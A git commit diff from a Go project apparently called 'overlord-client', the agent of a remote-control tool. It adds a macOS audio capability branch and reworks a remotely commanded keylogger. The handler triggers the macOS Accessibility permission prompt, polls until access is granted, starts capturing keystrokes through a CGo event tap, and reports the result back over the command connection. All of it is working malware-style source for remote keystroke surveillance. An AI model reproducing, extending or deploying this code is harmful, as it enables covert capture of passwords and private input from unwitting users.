mac shit
This commit is contained in:
@@ -7,6 +7,7 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"log"
|
||||
"runtime"
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
@@ -72,6 +73,16 @@ type Session struct {
|
||||
}
|
||||
|
||||
func ProbeCapabilities() Capabilities {
|
||||
if runtime.GOOS == "darwin" {
|
||||
return Capabilities{
|
||||
Available: true,
|
||||
RequiresCGO: true,
|
||||
Sources: []string{"default", "system"},
|
||||
DefaultSource: "default",
|
||||
Detail: "audio devices are initialized only when a voice or desktop audio session starts",
|
||||
}
|
||||
}
|
||||
|
||||
ctx, err := malgo.InitContext(nil, malgo.ContextConfig{}, nil)
|
||||
if err != nil {
|
||||
return Capabilities{
|
||||
|
||||
@@ -4,14 +4,31 @@ import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"log"
|
||||
"time"
|
||||
|
||||
"overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
func waitForKeyloggerPermission(env *runtime.Env, timeout time.Duration) bool {
|
||||
if env.Keylogger == nil {
|
||||
return false
|
||||
}
|
||||
deadline := time.Now().Add(timeout)
|
||||
for {
|
||||
if env.Keylogger.HasPermission() {
|
||||
return true
|
||||
}
|
||||
if time.Now().After(deadline) {
|
||||
return false
|
||||
}
|
||||
time.Sleep(350 * time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
// HandleKeylogRequestPermission handles the keylog_request_permission command.
|
||||
// On macOS it triggers the Accessibility permission prompt and reports back
|
||||
// whether permission was granted. On other platforms it reports that no
|
||||
// whether permission was granted. On other platforms it reports that no
|
||||
// permission gate exists and the keylogger is already running (or starts it).
|
||||
func HandleKeylogRequestPermission(ctx context.Context, env *runtime.Env, cmdID string) error {
|
||||
if env.Keylogger == nil {
|
||||
@@ -46,8 +63,32 @@ func HandleKeylogRequestPermission(ctx context.Context, env *runtime.Env, cmdID
|
||||
}
|
||||
|
||||
// macOS: trigger the OS accessibility prompt and wait for the result.
|
||||
if env.Keylogger.HasPermission() {
|
||||
granted := true
|
||||
if !env.Keylogger.IsRunning() {
|
||||
if err := env.Keylogger.Start(); err != nil {
|
||||
log.Printf("[keylogger] start after existing permission check failed: %v", err)
|
||||
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
||||
"type": "keylog_permission_result",
|
||||
"commandId": cmdID,
|
||||
"granted": false,
|
||||
"reason": "start_failed: " + err.Error(),
|
||||
})
|
||||
}
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
||||
"type": "keylog_permission_result",
|
||||
"commandId": cmdID,
|
||||
"granted": granted,
|
||||
"reason": "granted",
|
||||
})
|
||||
}
|
||||
|
||||
log.Printf("[keylogger] macOS: requesting accessibility permission")
|
||||
granted := env.Keylogger.RequestPermission()
|
||||
if !granted {
|
||||
granted = waitForKeyloggerPermission(env, 8*time.Second)
|
||||
}
|
||||
|
||||
if granted {
|
||||
// Start the keylogger now that we have permission.
|
||||
|
||||
@@ -9,10 +9,12 @@ package keylogger
|
||||
|
||||
#include <ApplicationServices/ApplicationServices.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AppKit/AppKit.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
// Forward declaration — implemented in Go via CGo export.
|
||||
extern void goOnKey(const char *chars, int len, int keyCode, int flags);
|
||||
extern void goOnKey(char *chars, int len, int keyCode, int flags);
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Event tap globals
|
||||
@@ -347,7 +349,7 @@ func CheckAccessibilityPermission() bool {
|
||||
}
|
||||
|
||||
// RequestAccessibilityPermission displays the macOS system prompt asking the
|
||||
// user to grant Accessibility permission. Returns true if permission is
|
||||
// user to grant Accessibility permission. Returns true if permission is
|
||||
// currently granted (either already was or just approved).
|
||||
func RequestAccessibilityPermission() bool {
|
||||
return C.requestAccessibility() == 1
|
||||
@@ -369,7 +371,7 @@ func (k *Keylogger) NeedsPermissionGate() bool {
|
||||
}
|
||||
|
||||
// RequestPermission triggers the macOS accessibility permission prompt via
|
||||
// AXIsProcessTrustedWithOptions (CGo path — native build only).
|
||||
// AXIsProcessTrustedWithOptions (CGo path, native build only).
|
||||
func (k *Keylogger) RequestPermission() bool {
|
||||
granted := RequestAccessibilityPermission()
|
||||
k.mu.Lock()
|
||||
|
||||
Reference in New Issue
Block a user